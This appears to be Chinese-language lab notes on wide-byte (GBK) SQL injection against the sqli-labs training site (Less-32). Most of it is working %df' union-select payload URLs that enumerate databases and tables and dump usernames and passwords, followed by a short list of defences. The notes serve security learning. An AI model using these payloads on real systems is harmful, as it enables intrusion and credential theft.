以下ppt来自大佬传送门
宽字节注入原理
初步探测:
http://sqli-labs:65/Less-32/?id=1'--
发现1’被转义为 ''所以判定为 宽字节注入
方法:在注入点后键入%df,然后按照正常的注入流程开始注入
原理:下图中的hint
== -1�’ union select 1,2,(select user())-- ==、由于和源代码中的 ‘$id’产生闭合,所以就自然执行了 union select…
已知mysql注入的类型是宽字节了,下面就按照注入的基本流程走便是了
1.爆数据库
(爆单个)
http://sqli-labs:65/Less-32/?id=-1%df' union select 1,2,( ==select==schema_name from information_schema.schemata limit 0,1 )--+
爆多个
http://sqli-labs:65/Less-32/?id=-1%df' union select 1,2,( select group_concat(schema_name) from information_schema.schemata)--+
2.爆表
http://sqli-labs:65/Less-32/?id=-1%df' union select 1,2,( select TABLE_name from information_schema.TABLES WHERE table_schema=database() limit 0,1 )--+
3.爆字段
4.爆用户名和密码
http://sqli-labs:65/Less-32/?id=-1%df' union select 1,2,( select group_concat(username,0x3a,password) from users)--+
宽字节的防御
1.使用utf-8,避免宽字节注入;
(ps:不仅在gbk,韩文,日文等等都是宽字节,都有可能存在宽字节注入漏洞。)
2.mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);
3.可以设置参数,character_set_client=binary